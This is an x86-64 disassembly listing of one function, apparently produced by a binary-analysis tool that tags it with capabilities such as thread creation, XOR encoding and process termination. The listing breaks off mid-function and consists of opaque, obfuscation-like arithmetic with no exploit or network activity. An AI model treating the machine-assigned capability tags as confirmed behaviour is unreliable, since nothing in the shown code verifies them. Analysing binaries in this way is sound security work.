Function at 0x14001f7d0
Capabilities:
Create thread
Encode data using xor
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x18], r8
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xd0
mov ecx, dword [0x140042b60]
xor ebx, ebx
movzx ebp, byte [0x140042b81]
cmp ecx, 0x1dd
mov r14d, dword [0x140042b48]
mov eax, ebx
mov r8d, dword [0x140042b44]
sete al
mov edi, dword [0x140042a8c]
or eax, ebp
or r14d, eax
mov dword [rsp + 0x7c], ecx
test r8d, 0x418
jne 0x14001f841
mov eax, 0x257
cmp eax, edi
jne 0x14001f841
xor cl, cl
jmp 0x14001f843
mov cl, 1
movsx r12d, byte [0x140042b55]
mov eax, dword [0x140042a64]
mov r13d, dword [0x140042b30]
add eax, 0xffffffe5
movzx r10d, byte [0x140042b7c]
xor al, 0x18
mov r15d, dword [0x140042b28]
sub cl, al
mov eax, dword [0x140042b2c]
cmp r12d, 0x350
mov edx, dword [0x140042b3c]
movzx r11d, r15b
mov dword [rsp + 0x80], ecx
mov ecx, ebx
sete cl
mov byte [rsp + 0x34], r12b
xor eax, ecx
imul r9d, r8d, 0x1dd
movzx ecx, byte [0x140042b67]
dec r13d
mov dword [rsp + 0x8c], eax
sub r10b, 0x4d
mov eax, edi
mov dword [rsp + 0x50], edx
sar eax, 0x1f
sub cl, al
shr r9d, 2
mov byte [rsp + 0x35], cl
add r11b, 0x18
jne 0x14001f8d3
mov ecx, ebx
test edx, edx
je 0x14001f8d8
mov ecx, 1
cmp dword [0x140042a88], r9d
mov eax, ebx
movzx esi, byte [0x140042b83]
mov ebx, dword [0x140042b6c]
seta al
cmp eax, ecx
jne 0x14001f969
mov r12d, dword [0x140042b68]
mov eax, edx
or eax, 1
or r12d, eax
mov dword [rsp + 0x58], r12d
mov dword [0x140042b68], r12d
test sil, sil
je 0x14001f933
movsx ecx, r10b
mov eax, 0x51b
shl eax, cl
test eax, eax
jne 0x14001f929
test r9d, r9d
je 0x14001f933
mov dword [rsp + 0x7c], 1
jmp 0x14001f954
xor r12d, r12d
movsx r8d, r10b
movzx eax, r11b
mov edx, r8d
sub edx, eax
mov dword [rsp + 0x7c], r12d
mov ecx, ebx
mov eax, r12d
sar edx, cl
or edx, r8d
je 0x14001f959
mov eax, 1
movzx edx, byte [0x140042a87]
xor dl, al
mov byte [rsp + 0x34], 1
jmp 0x14001f97a
mov eax, dword [0x140042b68]
movzx edx, byte [0x140042a87]
mov dword [rsp + 0x58], eax
movzx eax, byte [0x140042b65]
lea r8d, [rbp + 3]
xor ecx, ecx
cmp eax, 0x418
sete cl
add eax, 0x418
dec r14d
and ecx, 0x1dd
or ecx, eax
mov dword [rsp + 0x3c], r14d
mov eax, dword [0x140042b78]
movzx r14d, byte [0x140042b80]
add eax, ecx
mov dword [rsp + 0x40], eax
test r14b, r14b
jne 0x14001f9c8
test r10b, r10b
jne 0x14001f9c8
xor ecx, ecx
mov eax, ecx
jmp 0x14001f9cf
mov eax, 1
xor ecx, ecx
mov r12d, dword [0x140042b84]
sub r12d, eax
cmp dword [rsp + 0x58], 0
mov dword [rsp + 0x5c], r12d
jne 0x14001f9f8
mov eax, 0x1dd
sub eax, r8d
cmp eax, 0x7a
jne 0x14001f9f8
mov eax, ecx
test dl, dl
je 0x14001f9fd
mov eax, 1
or dword [rsp + 0x3c], eax
mov ecx, r9d
movzx eax, r13b
or al, 1
xor sil, al
mov eax, 0x7a
shl eax, cl
xor ecx, ecx
cmp ebp, eax
mov ebp, dword [rsp + 0x40]
mov eax, r8d
sete cl
and ecx, 0x51b
xor ecx, edi
movsx edi, r10b
sub eax, edi
and ebp, ecx
movzx ecx, byte [0x140042b54]
xor eax, ebp
sub dword [rsp + 0x3c], eax
movzx eax, r14b
cmp eax, 0x51b
mov dword [rsp + 0x40], ebp
movzx ebp, r8b
sete al
and bpl, byte [0x140042b5c]
xor cl, al
movzx eax, byte [0x140042b64]
inc al
mov byte [rsp + 0x31], cl
or bpl, al
movzx eax, dl
and r13d, eax
movzx eax, byte [rsp + 0x80]
mov dword [rsp + 0x68], eax
mov dword [rsp + 0x88], r13d
and r9d, 0x80000003
jge 0x14001fa99
dec r9d
or r9d, 0xfffffffc
inc r9d
add r9d, eax
xor edx, edx
mov ecx, edx
movzx eax, r11b
add eax, 0x7a
cmp r13d, eax
sete cl
or ecx, r8d
mov ecx, dword [rsp + 0x8c]
jne 0x14001fabf
mov eax, edx
test ecx, ecx
je 0x14001fac4
mov eax, 1
mov r13d, dword [rsp + 0x7c]
or ecx, eax
movzx eax, byte [0x140042b56]
add r13d, 0x1b
mov edx, dword [0x140042a88]
and r13d, 0x7a
cmp r8d, edi
mov dword [rsp + 0x8c], ecx
sete r14b
sub al, r9b
xor r14b, byte [0x140042a64]
or r14b, al
movzx eax, sil
or eax, r9d
or edx, eax
mov dword [rsp + 0x84], edx
test r11b, r11b
jne 0x14001fb19
test r10b, r10b
jne 0x14001fb19
xor ecx, ecx
jmp 0x14001fb1e
mov ecx, 1
mov r11d, dword [rsp + 0x8c]
movzx eax, bpl
mov esi, dword [rsp + 0x3c]
shr al, cl
xor r14b, al
mov eax, edi
or eax, 0x257
mov byte [rsp + 0x33], r14b
and eax, r11d
movzx ecx, al
mov eax, 0xaaaaaaab
mov r14d, ecx
imul r14d, dword [0x140042b44]
mul r14d
mov eax, edi
shr edx, 1
lea edx, [rdx + rdx*2]
sub r14d, edx
mov edx, r12d
sub edx, edi
movzx edi, byte [rsp + 0x31]
shl edx, cl
sub esi, edx
cdq
and edx, 3
mov dword [rsp + 0x3c], esi
add eax, edx
mov r9d, eax
and eax, 3
sub eax, edx
sar r9d, 2
add al, r15b
movzx ecx, al
or ecx, esi
and ebx, ecx
lea ecx, [rdi + 0x51b]
test ecx, ecx
jne 0x14001fba3
test r10b, r10b
jne 0x14001fba3
xor eax, eax
jmp 0x14001fba8
mov eax, 1
mov r15d, dword [0x140042b7c]
and r11d, eax
mov r12d, dword [0x140042a64]
mov ecx, r8d
mov eax, 0xcccccccd
mov dword [rsp + 0x8c], r11d
mul r8d
lea r10d, [r15 + 1]
mov dword [0x140042b2c], r11d
shr edx, 2
lea r11d, [r9 + r12]
movzx eax, dl
mov byte [rsp + 0x38], r10b
shl al, 2
movzx r9d, r8b
add dl, al
movzx r10d, r10b
sub r9b, dl
mov eax, r14d
shl eax, cl
add r9b, sil
xor eax, esi
mov byte [rsp + 0x30], r9b
sub r13d, eax
mov esi, r10d
mov dword [rsp + 0x60], r13d
xor r13d, r13d
cmp r8d, dword [0x140042b44]
mov eax, r13d
sete al
and eax, 0x1dd
xor eax, r12d
xor eax, r11d
mov dword [rsp + 0x74], eax
movzx eax, r11b
sub al, byte [0x140042b66]
lea ecx, [rax - 2]
shr edi, cl
lea ecx, [r15 + r14]
shl edi, cl
mov ecx, r11d
mov eax, edi
mov dword [rsp + 0x78], edi
shl eax, cl
cmp eax, 0x1dd
mov eax, 0x66666667
sete byte [rsp + 0x3a]
imul esi, r14d
imul r15d, r8d
imul esi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub esi, eax
mov eax, 0xcccccccd
mul r15d
shr edx, 2
lea eax, [rdx + rdx*4]
sub r15d, eax
test r14d, r14d
jne 0x14001fc9b
test r8d, r8d
je 0x14001fc96
test r9b, r9b
jne 0x14001fc9b
mov eax, r13d
jmp 0x14001fca0
mov eax, 1
movzx edx, byte [rsp + 0x33]
movzx ecx, al
movzx eax, byte [rsp + 0x3a]
xor r9d, r9d
sar dl, cl
test r8d, r8d
movzx r13d, r15b
mov r8d, dword [rsp + 0x68]
sete cl
mov byte [rsp + 0x39], dl
shr r8d, cl
and eax, r13d
add r8d, eax
mov edx, 0x25
mov dword [rsp + 0x68], r8d
dec dx
test r12d, r12d
jne 0x14001fcfa
mov ecx, r11d
mov eax, 0x7a
shl eax, cl
test eax, eax
je 0x14001fcf3
test r15b, r15b
jne 0x14001fcfa
mov dword [rsp + 0x48], r9d
jmp 0x14001fd02
mov dword [rsp + 0x48], 1
test dx, dx
jne 0x14001fcd8
movsx r9d, byte [rsp + 0x30]
xor edi, edi
mov r8d, r9d
movzx ebp, bpl
imul r8d, dword [rsp + 0x3c]
mov eax, 0xaaaaaaab
mov ecx, r13d
mov r12d, r9d
and ecx, r9d
movzx r9d, byte [0x140042b65]
and ecx, 0x7a
mul r8d
shr edx, 1
lea eax, [rdx + rdx*2]
sub r8d, eax
mov eax, edi
cmp ebp, ecx
mov dword [rsp + 0x44], r8d
mov ecx, dword [0x140042b4c]
movzx edx, r8b
sete al
or ecx, eax
movzx eax, r9b
xor al, 0x7a
mov dword [rsp + 0x94], ecx
mov ecx, esi
shl dl, cl
mov ecx, dword [rsp + 0x58]
and dl, cl
or dl, al
mov eax, edi
and byte [rsp + 0x33], dl
cmp dword [rsp + 0x8c], r14d
sete al
or dword [rsp + 0x48], eax
cmp dword [rsp + 0x74], edi
jne 0x14001fd92
mov eax, edi
test esi, esi
je 0x14001fd97
mov eax, 1
or dword [rsp + 0x68], eax
mov r8d, r12d
mov edi, dword [0x140042b34]
mov eax, 0x66666667
imul r8d, ecx
movzx ecx, sil
mov dword [rsp + 0x54], edi
mov edi, dword [rsp + 0x78]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
mov edx, dword [rsp + 0x44]
sub r8d, eax
movzx eax, dl
or al, byte [rsp + 0x88]
sub byte [rsp + 0x31], al
movzx eax, r8b
sar al, cl
movsx ecx, al
mov eax, dword [rsp + 0x88]
add eax, edx
or ecx, eax
jne 0x14001fe00
cmp dword [rsp + 0x54], 0
jne 0x14001fe00
xor ecx, ecx
mov eax, ecx
jmp 0x14001fe07
mov eax, 1
xor ecx, ecx
and dword [rsp + 0x60], eax
cmp dword [rsp + 0x50], 0
je 0x14001fe1b
mov eax, 1
test edx, edx
jne 0x14001fe1d
mov eax, ecx
xor dword [rsp + 0x48], eax
cmp dword [rsp + 0x8c], 0
je 0x14001fe35
mov eax, 1
test r15b, r15b
jne 0x14001fe37
mov eax, ecx
and byte [rsp + 0x35], al
cmp byte [rsp + 0x34], 0
je 0x14001fe54
movsx eax, r8b
mov ecx, r12d
shl eax, cl
mov byte [rsp + 0x36], 1
test eax, eax
jne 0x14001fe59
mov byte [rsp + 0x36], 0
movzx ecx, byte [rsp + 0x31]
test cl, cl
je 0x14001fe6e
test r8b, r8b
je 0x14001fe6e
mov eax, 1
jmp 0x14001fe70
xor eax, eax
xor cl, al
xor eax, eax
cmp dword [rsp + 0x40], r13d
mov byte [rsp + 0x31], cl
mov ecx, edi
sete al
and eax, edx
xor dword [rsp + 0x54], eax
movzx eax, byte [rsp + 0x30]
sub al, r8b
shl al, cl
mov ecx, r14d
shl r9b, cl
mov ecx, edx
or al, r9b
mov byte [rsp + 0x30], al
movzx eax, al
mov dword [rsp + 0x70], eax
shl eax, cl
mov ecx, r13d
sar eax, cl
mov ecx, esi
sar eax, cl
test eax, eax
jne 0x14001fec3
cmp dword [rsp + 0x40], eax
jne 0x14001fec3
xor ecx, ecx
mov eax, ecx
jmp 0x14001feca
mov eax, 1
xor ecx, ecx
add dword [rsp + 0x50], eax
cmp byte [0x140042b66], 0
jne 0x14001fee5
mov eax, ecx
cmp esi, r13d
sete al
cmp eax, edx
mov eax, ecx
jne 0x14001feea
mov eax, 1
movzx r14d, byte [rsp + 0x35]
xor r14b, al
movsx edi, r8b
movzx eax, byte [rsp + 0x38]
cmp esi, r12d
sete r9b
sub al, r8b
and r9b, al
or r9b, byte [0x140042a62]
cmp edi, edx
je 0x14001ff29
mov ecx, dword [rsp + 0x58]
mov eax, esi
sub eax, r10d
add ecx, eax
mov dword [rsp + 0x58], ecx
mov dword [0x140042b68], ecx
mov eax, dword [0x140042b58]
mov dword [rsp + 0x64], eax
test eax, eax
jne 0x14001ff44
test r11d, r11d
jne 0x14001ff44
xor r8d, r8d
mov eax, r8d
jmp 0x14001ff4c
mov eax, 1
xor r8d, r8d
add dword [rsp + 0x48], eax
cmp byte [rsp + 0x80], 0
je 0x14001ff72
lea ecx, [rdx + rdx]
mov eax, esi
shr eax, cl
mov ecx, dword [0x140042b7c]
shr eax, cl
test eax, eax
mov eax, 1
jne 0x14001ff75
mov eax, r8d
and dword [rsp + 0x84], eax
lea r10d, [r12 + r13]
mov ecx, dword [0x140042a64]
mov eax, 0xcccccccd
imul ecx, edx
mul ecx
movzx eax, sil
mov ecx, edi
and al, r15b
sar r10d, cl
xor al, r11b
mov r8d, edx
xor al, byte [rsp + 0x74]
mov edx, 0x5a
xor byte [rsp + 0x38], al
mov eax, r13d
shr r8d, 2
mov ecx, r8d
shl eax, cl
mov ecx, dword [rsp + 0x60]
xor eax, esi
or eax, dword [0x140042b44]
mov dword [rsp + 0x90], eax
nop
movzx eax, r10b
or al, cl
add r14b, al
mov byte [0x140042b67], r14b
sub rdx, 1
jne 0x14001ffd0
movzx edx, sil
mov byte [rsp + 0x35], r14b
sub dl, r15b
mov ecx, r13d
shl dl, cl
mov eax, 0x101
xor dl, byte [rsp + 0x94]
or r9b, dl
add eax, 0xffffffff
jne 0x140020003
movsx r14d, byte [rsp + 0x34]
mov eax, r14d
add eax, r8d
je 0x140020033
movsx r15d, byte [0x140042b66]
mov edx, esi
mov ecx, edi
shr edx, cl
cmp edx, r15d
jne 0x14002003b
mov eax, 1
jmp 0x14002003d
movzx r15d, byte [0x140042b66]
xor eax, eax
or r14b, al
and r8d, 0x80000003
jge 0x140020053
dec r8d
or r8d, 0xfffffffc
inc r8d
mov r10d, dword [rsp + 0x70]
mov ecx, edi
mov edi, dword [rsp + 0x94]
mov eax, esi
mov r9d, dword [rsp + 0x78]
sub eax, r12d
sub eax, dword [rsp + 0x7c]
add r8d, r10d
shl ebp, cl
mov ecx, 0x3c
or eax, ebp
mov ebp, edi
sub dword [rsp + 0x40], eax
movsx eax, byte [0x140042a63]
imul ebp, esi
mov edx, eax
mov byte [rsp + 0x32], al
shr ebp, 2
mov dword [rsp + 0x6c], ebp
nop dword [rax + rax]
lea eax, [rdx + r11]
sub r9d, eax
add ecx, 0xffffffff
jne 0x1400200a0
mov r12d, r10d
movsx r9d, r15b
imul r12d, r11d
mov eax, 0x66666667
mov r13d, r9d
imul r13d, r11d
imul r12d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub r12d, eax
mov eax, 0xcccccccd
mul esi
mov eax, 0x55555556
movzx r15d, r12b
mov r10d, edx
mov ecx, r15d
imul r13d
shr r10d, 2
add r10b, byte [rsp + 0x60]
mov eax, edx
shr eax, 0x1f
add edx, eax
sar r8d, cl
lea eax, [rdx + rdx*2]
sub r13d, eax
mov dword [rsp + 0x94], r13d
test r8d, r8d
jne 0x14002011f
test r12b, r12b
jne 0x14002011f
xor eax, eax
mov ecx, eax
jmp 0x140020124
mov ecx, 1
movzx eax, byte [0x140042a62]
mov esi, dword [rsp + 0x44]
shl al, cl
mov ecx, dword [rsp + 0x5c]
mov byte [rsp + 0x37], al
xor eax, eax
test esi, esi
movsx r8d, r10b
setne al
xor eax, dword [0x140042a64]
add ecx, eax
mov eax, 0x55555556
mov dword [0x140042b84], ecx
mov ecx, r8d
imul ecx, dword [rsp + 0x68]
imul ecx
movzx eax, byte [0x140042b57]
mov ecx, edx
mov byte [rsp + 0x34], al
shr ecx, 0x1f
add ecx, edx
mov dword [rsp + 0x78], ecx
cmp dword [rsp + 0x84], r15d
jne 0x1400201fd
test r11d, r11d
je 0x1400201fd
test edi, edi
je 0x1400201fd
cmp dword [rsp + 0x70], r13d
jne 0x14002019d
test bpl, bpl
je 0x14002019d
mov edx, 1
jmp 0x1400201a1
xor eax, eax
mov edx, eax
lea eax, [rbx + rcx]
mov ecx, r8d
shl eax, cl
mov ecx, r11d
shr eax, cl
mov ecx, r9d
shr eax, cl
add edx, eax
movzx eax, byte [rsp + 0x34]
mov dword [rsp + 0x90], edx
xor edx, edx
cmp r13d, 1
mov ecx, edx
sete cl
and ecx, eax
or dword [rsp + 0x60], ecx
test esi, esi
jne 0x1400201dd
mov eax, edx
cmp r11d, r13d
jne 0x1400201e2
mov eax, 1
movzx ecx, byte [rsp + 0x32]
add al, cl
or cl, al
movzx eax, r12b
and al, r10b
mov byte [rsp + 0x32], cl
or al, r14b
mov byte [rsp + 0x3a], al
movzx esi, byte [rsp + 0x38]
mov ecx, r13d
movsx eax, byte [0x140042b64]
mov r9d, 0x70
mov dword [rsp + 0x5c], eax
mov eax, 0x66666667
movsx r14d, bpl
mov ebp, r15d
shl ebp, cl
and ebp, esi
imul esi, r14d
imul esi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub esi, eax
nop word [rax + rax]
mov ecx, dword [rsp + 0x6c]
test r13d, r13d
je 0x14002024d
test cl, cl
jne 0x140020258
cmp dword [rsp + 0x3c], 0
je 0x140020382
mov eax, 0x55555556
mov r10d, r14d
imul r14d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub r10d, eax
mov eax, dword [rsp + 0x6c]
add r10b, byte [rsp + 0x31]
cmp byte [rsp + 0x35], al
jne 0x14002028e
test r11d, r11d
je 0x14002028e
mov edx, 1
xor r8d, r8d
jmp 0x140020294
xor r8d, r8d
mov edx, r8d
cmp r14d, dword [rsp + 0x44]
jne 0x1400202a3
mov ecx, r8d
test r13d, r13d
je 0x1400202a8
mov ecx, 1
movzx eax, byte [rsp + 0x80]
and eax, ecx
add dword [rsp + 0x58], eax
cmp dword [rsp + 0x68], 0
je 0x1400202d6
movzx ecx, r14b
movsx eax, r10b
sar eax, cl
mov ecx, edi
shl r11d, cl
mov edi, 1
or eax, r11d
jne 0x1400202d9
mov edi, r8d
cmp dword [0x140042b7c], r13d
mov eax, r8d
mov ecx, r14d
movsx r8d, r10b
sete al
xor r11d, r11d
and eax, r15d
or edx, eax
mov eax, r8d
shl eax, cl
mov ecx, r11d
cmp dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x58]
sete cl
mov dword [rsp + 0x48], edx
mov edx, dword [rsp + 0x78]
or eax, ecx
cmp byte [0x140042b66], r11b
mov dword [rsp + 0x58], eax
mov dword [0x140042b68], eax
je 0x14002032d
lea eax, [r15 + rdx]
test eax, eax
jne 0x14002033e
movzx ecx, byte [rsp + 0x31]
mov eax, r14d
shl eax, cl
test eax, eax
mov eax, r11d
je 0x140020343
mov eax, 1
movzx ecx, byte [rsp + 0x35]
or cl, al
lea eax, [r8 + rdx]
cmp ebx, eax
mov byte [rsp + 0x35], cl
movzx eax, byte [rsp + 0x44]
mov byte [0x140042b67], cl
mov ecx, r11d
movzx r11d, byte [rsp + 0x3c]
sete cl
or edi, ecx
mov ecx, r15d
shl al, cl
mov ecx, dword [rsp + 0x6c]
and al, cl
sub r11b, al
mov byte [rsp + 0x32], r11b
jmp 0x140020386
mov edx, dword [rsp + 0x78]
or dword [rsp + 0x90], ebp
test r12b, r12b
je 0x1400203a6
movzx eax, r10b
sar al, cl
test al, al
je 0x1400203a6
mov ecx, 1
xor r11d, r11d
jmp 0x1400203ac
xor r11d, r11d
mov ecx, r11d
movzx eax, byte [rsp + 0x33]
shl al, cl
mov byte [rsp + 0x4c], al
mov eax, r8d
or eax, r13d
je 0x1400203c9
mov ecx, 1
test r10b, r10b
jne 0x1400203cc
mov ecx, r11d
cmp dword [rsp + 0x5c], ecx
mov eax, r11d
sete al
or dword [0x140042a64], eax
cmp dword [0x140042b7c], 0
jne 0x1400203f1
mov dword [0x140042b40], r11d
test r13d, r13d
je 0x1400203fb
mov dword [0x140042b40], 1
cmp byte [rsp + 0x31], 0
mov r11d, esi
jne 0x140020416
mov eax, dword [rsp + 0x44]
sub eax, r13d
or eax, dword [rsp + 0x44]
jne 0x140020416
xor eax, eax
jmp 0x14002041b
mov eax, 1
and byte [rsp + 0x80], al
sub r9, 1
jne 0x140020240
mov ebp, dword [rsp + 0x44]
mov r9d, dword [rsp + 0x6c]
movsx r8d, r10b
cmp r8d, r15d
jge 0x14002048b
mov eax, dword [rsp + 0x54]
mov ecx, edx
shr eax, cl
mov ecx, esi
shl eax, cl
mov ecx, r13d
or eax, dword [rsp + 0x54]
or eax, r13d
sub dword [rsp + 0x84], eax
mov eax, ebp
shl eax, cl
mov ecx, esi
shr eax, cl
movzx ecx, bl
add eax, dword [rsp + 0x90]
and dword [rsp + 0x64], eax
cmp esi, ebp
sete al
and al, dl
sub cl, al
movzx eax, byte [rsp + 0x39]
or al, r10b
or al, r9b
xor cl, al
mov byte [rsp + 0x34], cl
mov esi, dword [0x140042a64]
movzx ecx, r12b
mov r11d, dword [rsp + 0x90]
mov eax, 0xcccccccd
mov r10d, dword [rsp + 0x78]
mul r15d
shr edx, 2
lea eax, [rdx + rdx*4]
mov edx, r15d
sub edx, eax
mov eax, esi
add edx, dword [rsp + 0x7c]
and eax, ebp
add dword [rsp + 0x50], eax
movzx eax, r9b
sar al, cl
mov ecx, dword [rsp + 0x60]
cmp al, r9b
sete al
and al, cl
mov ecx, ebp
add byte [rsp + 0x32], al
movzx eax, r11b
shl al, cl
sub byte [rsp + 0x80], al
xor r8d, r10d
je 0x1400204f7
test r9b, r9b
je 0x1400204f7
mov eax, 1
jmp 0x1400204f9
xor eax, eax
cmp dword [rsp + 0x88], eax
movzx ecx, dl
mov eax, dword [rsp + 0x70]
mov edi, r14d
movsx r9d, byte [rsp + 0x35]
sete byte [0x140042b88]
or dword [rsp + 0x5c], r13d
sub r9d, r13d
mov r8d, dword [rsp + 0x48]
shr eax, cl
mov ecx, ebp
shr r9d, cl
sub r8d, eax
imul edi, esi
mov eax, 0xaaaaaaab
shr edi, 2
movsx esi, dil
mov ecx, esi
imul ecx, r11d
movzx r11d, byte [rsp + 0x30]
mul ecx
movzx eax, r13b
or al, byte [0x140042b64]
mov r12d, edx
add byte [rsp + 0x33], al
xor eax, eax
movzx edx, byte [rsp + 0x36]
mov ecx, eax
shr r12d, 1
cmp r12d, ebp
sete cl
or ecx, r15d
add ecx, edx
imul eax, ecx, 0x29
movzx ecx, r12b
and cl, byte [rsp + 0x50]
xor cl, r10b
add ebx, eax
movzx eax, r11b
sub al, dil
mov dword [rsp + 0x88], ebx
or cl, al
and dl, cl
cmp dword [rsp + 0x68], 0
mov byte [rsp + 0x36], dl
je 0x1400205ae
test ebp, r15d
je 0x1400205ae
mov eax, 1
xor ebx, ebx
jmp 0x1400205b2
xor ebx, ebx
mov eax, ebx
movzx edx, byte [rsp + 0x3a]
and r9d, eax
mov ecx, r14d
mov dword [rsp + 0x98], edx
mov eax, edx
shl eax, cl
mov ecx, esi
shl eax, cl
test eax, eax
jne 0x1400205da
test ebp, ebp
jne 0x1400205da
mov eax, ebx
test dl, dl
je 0x1400205df
mov eax, 1
xor r8d, eax
mov ecx, ebp
mov eax, dword [0x140042b44]
mov edx, ebp
shl eax, cl
mov ecx, dword [rsp + 0x68]
add ecx, eax
mov dword [rsp + 0x48], r8d
movzx eax, byte [rsp + 0x31]
mov dword [rsp + 0x68], ecx
mov dword [0x140042b5c], ecx
shr edx, 2
add dl, byte [rsp + 0x5c]
movzx ecx, dl
movzx r8d, dl
imul r8d, dword [rsp + 0x50]
sub cl, r10b
shr eax, cl
mov ecx, ebp
and dword [rsp + 0x40], eax
sub ecx, r13d
movzx eax, byte [rsp + 0x36]
mov ebp, dword [0x140042b40]
movzx r13d, byte [0x140042a62]
shr r8d, 2
movzx r15d, r8b
add eax, r15d
mov dword [rsp + 0x74], r8d
movzx r8d, byte [rsp + 0x31]
sub r9d, eax
mov dword [rsp + 0xa0], r9d
mov dword [0x140042b4c], r9d
mov r9d, dword [rsp + 0x3c]
movzx edx, r9b
movzx r9d, byte [rsp + 0x33]
shl dl, cl
mov ecx, 0x228
nop dword [rax + rax]
xor r8b, dl
movzx eax, r12b
sub al, byte [rsp + 0x40]
not al
mov byte [0x140042b54], r8b
and al, dil
or al, byte [rsp + 0x50]
xor r9b, al
mov byte [0x140042b56], r9b
test ebp, ebp
jne 0x1400206b2
mov dword [rsp + 0x60], ebx
cmp r10d, esi
jne 0x1400206ba
mov dword [rsp + 0x60], 1
test r11b, r11b
jne 0x1400206d3
cmp r12d, esi
mov eax, ebx
sete al
test r14d, eax
jne 0x1400206d3
mov eax, ebx
test r13b, r13b
je 0x1400206d8
mov eax, 1
add dword [rsp + 0x40], eax
sub rcx, 1
jne 0x140020680
mov eax, dword [rsp + 0x3c]
or eax, r10d
mov ebx, dword [rsp + 0x88]
mov r13d, dword [rsp + 0x94]
mov ebp, dword [rsp + 0x44]
mov byte [rsp + 0x31], r8b
mov r8d, dword [rsp + 0x74]
mov byte [rsp + 0x33], r9b
jne 0x14002071a
test r8b, r8b
jne 0x14002071a
xor r9d, r9d
mov eax, r9d
jmp 0x140020722
mov eax, 1
xor r9d, r9d
sub byte [rsp + 0x37], al
lea ecx, [r12 + r13]
movsx r14d, byte [0x140042a62]
add ecx, ebp
mov r8d, dword [rsp + 0x50]
movzx edx, byte [rsp + 0x34]
mov eax, edx
mov dword [rsp + 0x9c], r14d
shr eax, cl
mov ecx, r9d
xor r8d, eax
lea eax, [r14 + r12]
test eax, eax
mov eax, dword [rsp + 0x58]
setne cl
sub r8d, ecx
mov ecx, ebp
shl eax, cl
or eax, r10d
mov dword [rsp + 0x50], r8d
jne 0x140020778
test r12d, edx
jne 0x140020778
xor bpl, bpl
jmp 0x14002077b
mov bpl, 1
mov eax, dword [rsp + 0x6c]
mov edx, 0x207
mov ecx, dword [rsp + 0x44]
mov r14d, dword [rsp + 0x98]
mov byte [0x140042b64], bpl
movsx ebp, al
mov eax, esi
cmp r13d, ebp
movzx r11d, dil
sete r9b
imul r8d, ecx
sub eax, r10d
mov r10d, dword [0x140042a64]
and r8d, 3
add r10d, eax
nop dword [rax]
cmp dword [rsp + 0x78], 0
jne 0x1400207cc
test dil, dil
je 0x1400207ee
movsx eax, byte [0x140042b88]
add eax, ecx
mov ecx, r13d
shl eax, cl
and dword [rsp + 0x64], eax
mov eax, ebp
add eax, r13d
or eax, dword [rsp + 0x70]
or eax, r12d
mov dword [rsp + 0x54], eax
mov eax, r9d
or eax, r12d
mov r12d, r8d
xor eax, dword [rsp + 0x58]
and dword [rsp + 0x3c], eax
cmp byte [rsp + 0x31], 0
jne 0x14002081d
movzx ecx, r11b
mov eax, r15d
shr eax, cl
movzx ecx, r14b
shr eax, cl
cmp esi, eax
je 0x14002081d
xor eax, eax
jmp 0x140020822
mov eax, 1
add ebx, eax
mov dword [0x140042b6c], ebx
test r10d, r10d
je 0x140020843
mov ecx, dword [rsp + 0x5c]
mov eax, r15d
shl eax, cl
test eax, eax
je 0x140020843
mov eax, 1
jmp 0x140020845
xor eax, eax
sub byte [rsp + 0x37], al
mov ecx, dword [rsp + 0x44]
sub rdx, 1
jne 0x1400207c0
movzx ebp, byte [0x140042b64]
mov r11d, ecx
mov r14d, dword [rsp + 0x9c]
mov dword [rsp + 0x88], ebx
cmp ecx, r13d
ja 0x140020880
cmp dword [rsp + 0x54], 0
je 0x140020936
mov r10d, dword [rsp + 0x78]
xor edi, edi
mov edx, dword [rsp + 0x50]
movzx eax, r10b
mov r8d, dword [rsp + 0x74]
mov ecx, r13d
mov r9d, dword [rsp + 0x84]
and al, r8b
shr edx, cl
mov ecx, r10d
xor dl, al
shl r9d, cl
xor dl, byte [rsp + 0x64]
mov eax, 0x55555556
mov dword [rsp + 0x80], edx
imul r10d
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, byte [rsp + 0x3c]
and al, byte [rsp + 0x6c]
add dl, byte [rsp + 0x35]
xor al, r11b
mov byte [rsp + 0x3a], al
cmp r9d, r13d
mov eax, edi
movsx esi, dl
sete al
mov ecx, esi
mov dword [0x140042b84], eax
mov eax, r10d
sar eax, cl
test eax, eax
jne 0x1400208fd
mov ecx, edi
test r8b, r8b
je 0x140020902
mov ecx, 1
movzx eax, byte [rsp + 0x33]
sar al, cl
movsx eax, al
and ebx, eax
mov eax, 0x66666667
imul r10d
mov dword [rsp + 0x88], ebx
sar edx, 1
mov eax, edx
mov dword [0x140042b6c], ebx
shr eax, 0x1f
add edx, eax
add dl, byte [rsp + 0x5c]
mov byte [rsp + 0x6c], dl
jmp 0x140020940
mov r8d, dword [rsp + 0x74]
mov r10d, dword [rsp + 0x78]
mov edx, dword [0x140042b44]
mov ecx, r10d
sub ecx, r12d
mov eax, edx
xor ecx, r11d
shl eax, cl
and dword [rsp + 0x48], eax
movsx eax, byte [rsp + 0x6c]
or dword [rsp + 0x70], eax
jne 0x140020970
add eax, dword [rsp + 0x40]
add eax, r10d
jne 0x140020970
xor r15b, r15b
jmp 0x140020973
mov r15b, 1
mov eax, r10d
movzx r9d, r8b
mov ecx, r14d
mov byte [rsp + 0x39], r15b
and ecx, r11d
or ecx, r9d
and edx, ecx
mov dword [rsp + 0x70], edx
cdq
and edx, 3
lea edi, [rdx + rax]
sar edi, 2
add edi, dword [0x140042a64]
cmp dword [rsp + 0xa0], 0
mov dword [rsp + 0x9c], edi
jne 0x140020ab6
test r11d, r11d
je 0x1400209d0
test r8b, r8b
je 0x1400209d0
movzx ecx, byte [rsp + 0x32]
test cl, cl
je 0x1400209d0
cmp r13d, 1
jb 0x140020abb
movzx ecx, byte [rsp + 0x30]
mov r10d, dword [rsp + 0x3c]
mov eax, 0xcccccccd
imul esi, r10d
mov r8d, edi
mul esi
mov r14d, edx
shr r14d, 2
mov dword [rsp + 0x98], r14d
and r8d, 0x80000003
